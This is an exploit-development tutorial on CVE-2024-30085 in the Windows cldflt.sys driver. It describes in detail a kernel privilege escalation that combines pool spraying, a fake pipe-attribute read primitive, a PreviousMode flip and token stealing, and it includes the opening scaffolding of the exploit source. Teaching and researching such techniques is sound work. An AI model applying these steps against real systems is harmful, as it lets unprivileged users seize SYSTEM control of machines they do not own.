Exploiting Reversing (ER) series | Article 07

Exploitation Techniques | CVE-2024-30085 (part 01)

(a step-by-step exploitation series on Win, macOS, hypervisors, browsers, and others)

by Alexandre Borges
release date: 04/MAR/2026 | rev: A.1

00. Quote

"Money that comes with conditions. Non-negotiable conditions."
(Nicolai Itchenko played by Marton Csokas | "The Equalizer" movie - 2014)

01. Introduction

Welcome to the seventh article of **Exploiting Reversing (ER) series**, a step-by-step **exploit development and vulnerability research series on Windows, macOS, hypervisors, browsers, and others**. Last articles of Exploit Reversing series are listed below:

- **ERS_06:** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
- **ERS_05:** https://exploitreversing.com/2025/03/12/exploiting-reversing-er-series-article-05/
- **ERS_04:** https://exploitreversing.com/2025/02/04/exploiting-reversing-er-series-article-04/
- **ERS_03:** https://exploitreversing.com/2025/01/22/exploiting-reversing-er-series-article-03/
- **ERS_02:** https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/
- **ERS_01:** https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/

This article is a natural continuation of the ERS 06 article, where we already discussed the vulnerability and exploitation of the cldflt.sys minifilter driver. Instead of introducing a new n-day vulnerability, this article will take the same vulnerability (CVE-2024-30085) as a reference and implement new exploitation techniques and concepts. For now, all will be used to elevate privileges from a regular user to SYSTEM, and other techniques will be presented in subsequent articles.

02. Acknowledgments

It's 2026, and even today, there are very few detailed documents on vulnerability research and real-world exploit development. Currently, I have the distinct impression that the era of information sharing is over. In fact, nowadays, we have several new articles per week, but most of them only aim to show the final results, without explaining the entire process from beginning to end, which doesn't help other colleagues to give their own steps in exploitation research. Unfortunately, the willingness to demonstrate the craft of exploit development has diminished due to money and other factors.

A few years ago, when I started authoring articles on malware analysis, vulnerability research, and exploitation, I had a clear decision in mind: I should share information without restrictions because, in the end, this wouldn't prevent me from improving my skills and pursuing my career. As expected, time is a major limitation for writing regularly, but I continue to strive to establish a solid foundation of information that can be valuable to other professionals. As I always remember, I wouldn't have been able to author these articles without the help of **Ilfak Guilfanov (@ilfak**) and **Hex-Rays SA (@HexRaysSA)**, who have offered me all the necessary support over the years. Finally, research is living in a new era of AI, but nothing replaces our minds, capable of generating unlimited knowledge and solving problems that, at first glance, seem impossible.

Life may be short, but every moment is worthwhile because people are the best thing in this world. Enjoy the journey and keep exploiting it!

03. Lab infrastructure

This article demands the following environment:

- A physical and/or a virtual machine running Windows 11 23H2.
- IDA Pro or IDA Home version: https://hex-rays.com/ida-pro/ . Readers might use Binary Ninja, Ghidra and other ones, but I will be using IDA Pro and its decompiler in this article.
- Install Visual Studio, Visual Studio Code, Windows SDK and Windows Development Kit (optionally):
- Visual Studio: https://visualstudio.microsoft.com/downloads/. During the installation, don't forget to install "Desktop development with C++" set.
- Visual Studio Code: https://code.visualstudio.com/
- Windows SDK: https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
- Windows Development Kit (WDK): https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk

04. Lab configuration

This time I have opted to provide a much succinct lab configuration to debug potential issues with the target virtual machine. However, this procedure will work as a reference and resource to be used just in case things go wrong. Anyway, it assumes you have installed frameworks mentioned in the prior section. Therefore, if it is necessary, execute the following steps:

```
mkdir C:\kdnet
copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\kdnet.exe" C:\kdnet
copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\VerifiedNICList.xml" C:\kdnet
cd C:\kdnet
kdnet (check supported network interfaces)
bcdedit /set {dbgsettings} key 1.2.3.4
kdnet <host machine IP> <port> -k (e.g., kdnet 192.168.0.96 50005 -k )
```

As a note, you do not need to create the kdnet folder in C:\ and neither use this specified key. I have tried being as simple as possible to prevent you of wasting time here. To connect via WinDbg, provide the port and key, which are enough. Do not forget to set the symbol path variable as indicated below:

- `_NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols`

After having concluded the configuration setup, reboot systems.

05. Token stealing and another usage for ALPC write-primitive

In ERS 06 (extended version), I presented two variants of exploits to elevate privileges in CVE-2024-30085 vulnerability context, where one of them was used to elevate privilege from user to system account, and the other one from administrator to system account. As expected, while the first exploit was really interesting, the second one was less attractive, which made me focus on getting only more effective results and exploiting different techniques.

Token Stealing is a well known technique that provides a way of replacing the token's pointer of the current process (_EPROCESS structure) with the pointer of the SYSTEM's token. At the end, the objective is the same, escalating privilege from a regular user to SYSTEM, but this time without depending on SeDebugPrivilege or even the parent process spoofing technique.

This exploit is actually based on the previous article (it is a variant), but it uses a different technique to escalate privilege and also fixes a fundamental flaw from ALPC version because once we have consumed the ALPC write-primitive, it is not possible to use it again. In terms of exploitation, it did not represented a challenge because we only needed to use such write-primitive for corrupting the _ALPC_RESERVE.Flink pointer. However, in the cleanup stage, we did not have the same write-primitive anymore, and we could not restore kernel doubly-linked pointers and other, so once kernel walked through structures following such pointers, the crash of the system occurred. Although I have fixed this problem using another approach (I will release an updated version of ERS_06 article soon), there are different techniques to expand such one-shot write-primitive to an unlimited write-primitive. Furthermore, the final effect is the same, and a regular user can elevate privileges to SYSTEM.

Every Windows process has a kernel structure named _EPROCESS, and for Windows 11 23H2, Windows 11 22H2 and Windows 10 22H2, you can find the token field offset using the following WinDbg command:

```
0: kd> dt nt!_EPROCESS Token
   +0x4b8 Token : _EX_FAST_REF
```

The Token field's offset is 0x4b8 as shown above, but such a value is different in recent Windows versions (0x248). The associated structure is _EX_FAST_REF, which contains (in 63:4 bits) a pointer a _TOKEN object that holds valuable information such as privileges, group memberships, and integrity level. At this point the first subtlety of token stealing technique comes up because the entire token (as known as raw token) must be copied (63:0 bits), and not only part of them (the Token's pointer -- 63:4 bits) because the four lowest bits are also important and hold a reference count. Clearly this technique is much simpler than using ALPC write primitive technique for changing bits or even other techniques that we will learn throughout this series.

To provide an overview of the methodology that will be implemented, this version of the exploit is remarkably similar to the previous ones, but it presents changes at the end. In few words, the exploit starts by spraying WNF_STATE_DATA structures (or objects, as you prefer) then a sequence of ALPC_PORT objects are also sprayed into the same pool, but different regions (sizes are not equivalent). The following step is to create alternate holes, build the reparse point file that will be used to exploit the vulnerability and trigger the overflow, which corrupts the next and adjacent WNF object and, in special, its AllocatedSize and DataSize fields.

Using _KALPC_RESERVE (via NtAplcCreateResourceReserve and NtAplcCreateResourceReserve) multiple entries are added to Handles array, its size grows up to 0x1000 bytes, and each Handles array, which belong to handle port and each handle port is associated with the ALPC_PORT object), fills the available holes. The address of the first _KALPC_RESERVE pointer, which makes part of each entry in Handle tables, will be leaked using the corrupted _WNF structure. As readers should remember, the problem is to find the exact corrupt WNF structure, and to accomplish this task we use the ChangeStamp (0xCODE) as reference.

The second phase of the exploit creates (CreatePipe function) multiple pipe attribute objects, which are sprayed in a different region of the previous composition of WNF and ALPC objects. The pipe attribute for each Pipe object is setup using NtFsControlFile function with FSCTL_PIPE_SET_PIPE_ATTRIBUTE. As consequence, the kernel allocates the PipeAttribute structure with an initial size of 0x200 bytes in a different region of memory. Like a procedure similar to ALPC case, such objects will be expanded to 0x1000 bytes later, which will forces them to fill appropriate space of 0x1000 bytes and, once again, such spaces will be created holes. A relevant fact is to remember that Pipe objects and PipeAttributes are allocated in different regions of memory and will be the latter that will be expanded to 0x1000 bytes.

As expected, a second wave of WNF objects (_WNF_STATE_DATA) is sprayed and new holes are also created. Following the order of the first phase of the exploit, a new reparse pointer is created, the overflow is triggered, a WNF object is corrupted, with its DataSize changed from 0xFF0 to 0xFF8, which allows to leak 0x08 bytes from the next and adjacent object, but at this moment it is only a hole. It turns out that the hole will be filled with the PipeAttribute object that will be expanded because the exploit calls NtFsControlFile function with FSCTL_PIPE_SET_PIPE_ATTRIBUTE. Pipeattribute objects are organized as a doubly-linked list with Flink and Blink pointers. Therefore, the corrupted WNF object makes possible to leak a pointer from a PipeAttribute structure, and more specifically a Flink pointer.

The leaked Flink pointer is represented by another PipeAttribute stricture, which is composed of fields such as list (_LIST_ENTRY), AttributeName, AttributeValueSize, AttributeValue and data array. The list.Blink points to a previous and valid kernel PipeAttribute structure, which has been leaked previously, and list.Flink will point to a fake PipeAttribute structure built in user-space. AttributeName is an arbitrary name, AttributeValueSize determines how much data (_KALPC_RESERVE) will be read, AttributeValue contains the leaked _KALPC_RESERVE pointer got previously and data0[] holds an arbitrary marker. Thus, there is a second fake PipeAttribute structure that is only for the list.Flink does not point to nowhere.

At this point the decisive action is to take the same existing WNF spray and calls NtUpdateWnfStateData function to corrupt the next and adjacent PipeAttribute object, and in specific the list.Flink pointer, which this time it is changed and will point to the mentioned user-space address, where fake1 PipeAttribute structure will be built and identified by its AttributeName (“hackedfakepipe”). Once the NtFsControlFile function is called with FSCTL_PIPE_GET_PIPE_ATTRIBUTE, this action forces the kernel to walk in the doubly-linked list via Flink, first passing through existing kernel PipeAttribute structures and, once it

reaches the corrupted kernel AttributePipe, whose list.Flink field has been corrupted (g_fake_pipe_attr) and points to a fake PipeAttribute structure built in user-space, the kernel continues searching for the PipeAttribute with the provided AttributeName, but it does not know that it is in user-space memory. As the first structure is fake1 and has exactly the target AttributeName ("hackedpipefake"), it reads 0x28 bytes from the AttributeValue pointer, which effectively copies 0x28 bytes from the leaked _KALPC_RESERVE to the user-space buffer, whose size is 0x1000 bytes. The fields from returned _KALPC_RESERVE structure are stored in the following in data[0] = ALPC_PORT address, data[1] = ALPC_HANDLE_TABLE address, data[2] = Reserve handle value and data[3] = KALPC_MESSAGE address.

As quite an interesting side note, there is a detail here that I did not mention in the ERS_06 article, which was focused on an ALPC write primitive. After the corruption of the Flink pointer, it points to a user-mode buffer address, which was used to build a fake structure and leak information from _KALPC_RESERVE structure, including _KALPC_MESSAGE address. Unfortunately, there is a grave issue that comes up when the process exits because the kernel will walk through this linked list for PipeAttribute cleanup and, when it reaches a user-space memory has already been freed, and the crash is unavoidable. It can be explained as follows in the presented scheme.

Doubly-Linked List | Before Corruption:

- [PipeAttr_01] → Flink → [PipeAttr_02] → Flink → [PipeAttr_03]
- [PipeAttr_01] ← Blink ← [PipeAttr_02] ← Blink ← [PipeAttr_03]

Doubly-Linked List | After Corruption:

- [PipeAttr_01] → Flink → [PipeAttr_02 -- victim] → Flink → g_fake_pipe_attr (user-space address)
- [PipeAttr_01] ← Blink ← [PipeAttr_02 -- victim] ← Blink ← [PipeAttr_03]

Basically, before performing the clean up stage, it is necessary to restore the old value of Flink to point to PipeAttr_03 again (kernel address). Actually, the scenario was even worse because we had only one ALPC primitive, which we used for writing an appropriate value to _TOKEN structure (offset 0x40) and there was not any opportunity to restore it on time.

In this exploit I adopt a different approach and avoid using the ALPC write primitive to alter the _TOKEN structure directly because otherwise I would have the same problem and would not be able to perform an appropriate cleanup. This time I use the ALPC write primitive to change KTHREAD.PreviousMode and get a powerful leverage.

Before proceeding, eventually some words about PreviousMode are necessary. Indeed, each kernel thread (_KTHREAD) has this associated field, which works as a flag (1 or 0), where 1 (UserMode) means that the system call came from user-mode (user-space) application and 0 (KernelMode) means that the system call came from kernel mode (possibly a kernel driver or a minifilter driver). The propose of this field is basically to determine whether the kernel should trust the pointers passed through the system call or not. Therefore, if PreviousMode is equal to 1 (UserMode), the interpretation is more restrictive, and everything should be probed and validated to be sure that addresses and buffers also come from user-space. As consequence, any kernel address should be rejected. On the other hand, if PreviousMode is equal to 0 (KernelMode), addresses can be anything (even kernel addresses are accepted) as well as buffer addresses can be anything because kernel interprets that as the system call comes from the own kernel side, so it is dependable and not need to be probed or validated.

No surprises, it opens a window of exploitation because if the PreviousMode field is changed from 1 (UserMode) to 0 (KernelMode) while running in user-mode (user-space), kernel evaluates that call comes from kernel mode and does not do any further validation. Therefore, a simple NtWriteVIrtualMemory call, which this time accepts kernel addresses, turns out to be a powerful arbitrary kernel write primitive and allows us to write in any address of kernel space without facing restrictions. Furthermore, we can use it multiple times (and not only once as the ALPC write-primitive), which will provide the possibility of elevating privileges, restoring the corrupted Flink from PipeAttribute object and, finally, restoring PreviousMode to 1 (UserMode) as if nothing had happened. While it is controllable to use Nt* functions in this technique because they are directly translated to a direct kernel-mode function, it is not advisable to use high-level Windows APIs because usually there are many intermediate functions until the kernel and low-level side to be called. This technique is used in Stage 23.

Returning to the exploit itself, the corruption of the Flink pointer (now pointing to a fake attribute structure from PipeAttribute structure) provides the capability of using NtFsControlFile function with FSCTL_PIPE_GET_PIPE_ATTRIBUTE to read any kernel address from ValueAddress field of the fake PipeAttribute object. As result, this read primitive makes the exploit to leak _KALPC_RESERVE, find the ALPC_PORT and respective _EPROCESS structure, which allows us to initiate Stage 21. The purpose of this stage is to discover PID of the current exploit process, the System process and winlogon process. Additionally, to save the current process's token, the system's token and mainly a raw version of the system's token (without stripping any bit).

Stage 22 starts the critical part because it makes use of the raw SYSTEM token that be used to replace the token of exploit process. The fake _KALPC_RESERVE and KALPC_MESSAGE structures in user-mode are built at this stage, and _KALPC_MESSAGE.ExtensionBuffer is set to _KTHREAD.PreviousMode address. The exploit reads 16 bits (for later restoring) of the target (_KTHREAD.PreviousMode). Of course, these 16 bits seem to be too much (one bit could be enough), but it guarantees that all the sequence (the PreviousMode bit and adjacent bits) can be restored without further consequence. Afterwards, the exploit uses the existing WNF out-of-bound write primitive to corrupt the first entry (technically a pointer to a KALPC_RESERVE structure), but the real target is the first entry of the Handles array with the address of the fake _KALPC_RESERVE structure. Once the ALPC message is sent to all ports, it searches for the corrupted _KALPC_RESERVE handle in the Handles array, follows the pointer through the fake _KALPC_RESERVE, followed by fake _KALPC_MESSAGE and replaces all 16 bits with 0x00 and flips the existing PreviousMode bit from 1 (UserMode) to 0 (KernelMode). There is a post-verification to ensure that PreviousMode is set to 0 (KernelMode).

There are vital facts that deserve to be mentioned here. The exploit process' _KTHREAD structure was discovered soon after the beginning of exploitation stages, before Stage 01, by using NtQuerySystemInformation function to enumerate all kernel object addresses. Afterwards, it duplicated the current thread handle and searched for it in the kernel object table, which provided the precise _KTHREAD address. About the code for final verification of PreviousMode field, in my first version of this exploit, I had not included such a code, but I have soon realized that it would be a mistake because the entire Stage 23 depends exclusively on this correct setting.

Stage 23 (the last one), it is where the elevation of privilege occurs. Soon at its beginning, the exploit reads the PipeAttribute.list.Blink field of the pipe attribute (PipeAttribute) at g_leaked_pipe_attr + 0x08 to discover the address of the previous PipeAttribute in the kernel pipe attribute linked list -- the entry whose

PipeAttribute.list.Flink was overwritten with the user-mode g_fake_pipe_attr address by Stage 19's WNF OOB (out-of-bounds) update at offset 0xFF0. Therefore, the next pipe attribute (PipeAttribute) in the kernel list has its Blink pointing back to the corrupted attribute. By reading our fake pipe attribute's value (which the kernel linked list set up), we can find the address of the attribute that needs its Flink restored to avoid that system crashes later.

After this initial pre-stage, the exploit opens the System process (PID == 4) using NtOpenProcess (it gives access to the object), opens its access token using NtOpenProcessTokenEx (it provide access to the token that represents the System security context), duplicates it into an impersonation token with NtDuplicateToken and then impersonates the security context by attaching the impersonation token to _ETHREAD.ImpersonationInfo of the own exploit's thread using NtSetInformationThread function, which is not a process, but a thread-level impersonation. In the second part of Stage 23, NtWriteVirtualMemory function writes SYSTEM token to _EPROCESS.Token's address (and it can do It because PreviousMode is setup to KernelMode), which effectively accomplishes the privilege escalation. Finally, using the same NtWriteVirtualMemory function it restores the corrupted AttributePipe Flink value and restores PreviousMode to 1 (UserMode). Finally, the process's token is checked (to be sure that it is System) and cmd.exe shell is spawned. In summary, I have introduced changes such as new offset constants, structure and type definitions, global variables and new functions (InitializeNtdllFunctions and DiscoverKthreadEarly) and refactors stages 21, 22 and 23.

Although we have followed a different approach to accomplish the privilege escalation, and the previous ALPC technique had done the same job, in cleanup stage is that the second strong reason comes up. As I have explained, the previous ALPC write-primitive was one-shot, and if we had spend it on _EPROCESS.Token, we would not have a way to restore the corrupted PipeAttribute.list.Flink pointer in the kernel pipe attribute linked list, which as overwritten with user-mode g_fake_pipe_attr by Stage 19's WNF OOB update at +0xFF0), and certainly a crash would happen. However, as we spent the ALPC write-primitive on PreviousMode, we exchanged a one-shot write-primitive by an unlimited write-primitive using NtWriteVirtualMemory, which allowed us to replace the token and also will allow us to restore PipeAttribute.list.Flink pointer and PreviousMode, without facing a crash.

After presenting the exploit in the next section I will provide further details about the most important stages, but I can guarantee that it was not easy to get a perfect cleanup and exit the exploit without leaving the system unstable or even being hit by a crash.

06. Token stealing (ALPC write-primitive) code

The exploit code follows below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
#include <initguid.h>
#include <guiddef.h>
```

```
#include <sddl.h>
#include <ntstatus.h>

#pragma comment(lib, "Cldapi.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);

typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  ALPC_PORT_COUNT = 0x800;
static const DWORD  ALPC_RESERVES_PER_PORT = 257;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  WNF_PAD_SPRAY_COUNT_SECOND = 0x2000;
static const DWORD  WNF_SPRAY_COUNT_SECOND = 0x600;
static const DWORD  PIPE_SPRAY_COUNT = 0x600;
static const DWORD  CHANGE_STAMP_SECOND = 0xDEAD;
static const DWORD  PIPE_ATTR_CLAIM_SIZE = 0x200;
static const DWORD  PIPE_ATTR_FILL_SIZE = 0xFD0;

static const DWORD  SLEEP_SHORT = 100;
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
```

```
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;
static const ULONG KTHREAD_PREVIOUSMODE_OFFSET = 0x232;

static const ULONG FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038;
static const ULONG FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C;

#define ALPC_MSGFLG_NONE 0x0

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
```

```
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG                        Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    SIZE_T                       MaxMessageLength;
    SIZE_T                       MemoryBandwidth;
    SIZE_T                       MaxPoolUsage;
    SIZE_T                       MaxSectionSize;
    SIZE_T                       MaxViewSize;
    SIZE_T                       MaxTotalSectionSize;
    ULONG                        DupObjectTypes;
    ULONG                        Reserved;
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

#pragma pack(push, 1)

typedef struct _KALPC_RESERVE {
    PVOID OwnerPort;
    PVOID HandleTable;
    PVOID Handle;
    PVOID Message;
    ULONGLONG Size;
    LONG Active;
```

```
    ULONG Padding;
} KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _KALPC_MESSAGE {
    BYTE Reserved0[0x60];
    PVOID Reserve;
    BYTE Reserved1[0x78];
    PVOID ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    BYTE Reserved2[0x28];
} KALPC_MESSAGE, * PKALPC_MESSAGE;

#pragma pack(pop)

typedef struct _PORT_MESSAGE {
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE Data[0x100];
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
```

```
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES,
PALPC_PORT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* PNtAlpcCreateResourceReserve)(HANDLE, ULONG, SIZE_T, PHANDLE);
typedef NTSTATUS(NTAPI* PNtFsControlFile)(HANDLE, HANDLE, PVOID, PVOID,
PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtAlpcSendWaitReceivePort)(HANDLE, ULONG, PPORT_MESSAGE,
PVOID, PPORT_MESSAGE, PSIZE_T, PVOID, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PNtOpenProcessTokenEx)(HANDLE, ACCESS_MASK, ULONG, PHANDLE);
typedef NTSTATUS(NTAPI* PNtDuplicateToken)(HANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
BOOLEAN, TOKEN_TYPE, PHANDLE);
typedef NTSTATUS(NTAPI* PNtSetInformationThread)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtClose)(HANDLE);
typedef NTSTATUS(NTAPI* PNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID Object;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX;

typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtAlpcCreatePort            g_NtAlpcCreatePort = NULL;
static PNtAlpcCreateResourceReserve g_NtAlpcCreateResourceReserve = NULL;
static PNtFsControlFile             g_NtFsControlFile = NULL;
static PNtAlpcSendWaitReceivePort   g_NtAlpcSendWaitReceivePort = NULL;
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtOpenProcessTokenEx        g_NtOpenProcessTokenEx = NULL;
static PNtDuplicateToken            g_NtDuplicateToken = NULL;
static PNtSetInformationThread      g_NtSetInformationThread = NULL;
static PNtClose                     g_NtClose = NULL;
```

```
static PNtWriteVirtualMemory        g_NtWriteVirtualMemory = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
static std::unique_ptr<HANDLE[]>         g_alpc_ports;
static int    g_victim_index = -1;
static PVOID  g_leaked_kalpc = NULL;
static HANDLE g_saved_reserve_handle = NULL;

static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr[0x1000];
static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr2[0x1000];
static char g_fake_attr_name[] = "hackedfakepipe";
static char g_fake_attr_name2[] = "alexandre";
static int g_target_pipe_index = -1;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names_second;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names_second;
static std::unique_ptr<BOOL[]>           g_wnf_active_second;
static std::unique_ptr<HANDLE[]>         g_pipe_read;
static std::unique_ptr<HANDLE[]>         g_pipe_write;
static int   g_victim_index_second = -1;
static PVOID g_leaked_pipe_attr = NULL;

static ULONG64 g_alpc_port_addr = 0;
static ULONG64 g_alpc_handle_table_addr = 0;
static ULONG64 g_alpc_message_addr = 0;
static ULONG64 g_eprocess_addr = 0;
static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;
static ULONG64 g_our_kthread = 0;

static BYTE* g_fake_kalpc_reserve_object = NULL;
static BYTE* g_fake_kalpc_message_object = NULL;

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];
static wchar_t g_filePath_second[MAX_PATH];

